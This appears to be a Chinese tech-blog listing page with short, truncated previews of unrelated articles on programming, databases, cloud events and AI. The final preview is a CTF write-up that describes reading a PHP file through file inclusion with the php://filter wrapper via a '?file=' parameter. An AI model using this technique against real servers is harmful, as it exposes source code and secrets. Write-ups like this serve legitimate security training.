效果&#xff1a; 应用了伽马校正&#xff0c;好像效果不明显 代码&#xff1a; <template><div><el-container><el-main><div class"box-card-left"><div id"threejs" style"border: 1px solid red"><…...

面试经典150题(55-58)

leetcode 150道题 计划花两个月时候刷完&#xff0c;今天&#xff08;第二十四天&#xff09;完成了4道(55-58)150&#xff1a; 55.&#xff08;19. 删除链表的倒数第 N 个结点&#xff09;题目描述&#xff1a; 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff…...

如果一个n位正整数等于其各位数字的n次方之和

❤ 厾罗 如果一个n位正整数等于其各位数字的n次方之和 如果一个n位正整数等于其各位数字的n次方之和,则称该数为阿姆斯特朗数。 例如1^3 5^3 3^3 153。 1000以内的阿姆斯特朗数&#xff1a; 1, 2, 3, 4, 5, 6, 7, 8, 9, 153, 370, 371, 407。 以下代码用于检测用户输…...

solidity显示以太坊美元价格

看过以太坊白皮书的都知道&#xff0c;以太坊比较比特币而言所提升的地方中&#xff0c;我认为最重要的一点就是能够访问外部的数据&#xff0c;这一点在赌博、金融领域应用会很广泛&#xff0c;但是区块链是一个确定的系统&#xff0c;包括里面的所有数值包括交易ID等都是确定…...

ChatGPT学习笔记——大模型基础理论体系

1、ChatGPT的背景与意义 近期,ChatGPT表现出了非常惊艳的语言理解、生成、知识推理能力, 它可以极好的理解用户意图,真正做到多轮沟通,并且回答内容完整、重点清晰、有概括、有条理。 ChatGPT 是继数据库和搜索引擎之后的全新一代的 “知识表示和调用方式”如下表所示。 …...

应用升级/灾备测试时使用guarantee 闪回点迅速回退

1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间&#xff0c; 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点&#xff0c;不需要开启数据库闪回。…...

Appium+python自动化(十六)- ADB命令

简介 Android 调试桥(adb)是多种用途的工具&#xff0c;该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具&#xff0c;其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利&#xff0c;如安装和调试…...

云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地

借阿里云中企出海大会的东风&#xff0c;以**「云启出海&#xff0c;智联未来&#xff5c;打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办&#xff0c;现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...

基于数字孪生的水厂可视化平台建设:架构与实践

分享大纲&#xff1a; 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年&#xff0c;数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段&#xff0c;基于数字孪生的水厂可视化平台的…...

Spring Boot面试题精选汇总

&#x1f91f;致敬读者 &#x1f7e9;感谢阅读&#x1f7e6;笑口常开&#x1f7ea;生日快乐⬛早点睡觉 &#x1f4d8;博主相关 &#x1f7e7;博主信息&#x1f7e8;博客首页&#x1f7eb;专栏推荐&#x1f7e5;活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

.Net Framework 4/C# 关键字(非常用,持续更新...)

一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别

【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而&#xff0c;传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案&#xff0c;能够实现大范围覆盖并远程采集数据。尽管具备这些优势&#xf…...

[ACTF2020 新生赛]Include 1(php://filter伪协议)

题目 做法 启动靶机&#xff0c;点进去 点进去 查看URL&#xff0c;有 ?fileflag.php说明存在文件包含&#xff0c;原理是php://filter 协议 当它与包含函数结合时&#xff0c;php://filter流会被当作php文件执行。 用php://filter加编码&#xff0c;能让PHP把文件内容…...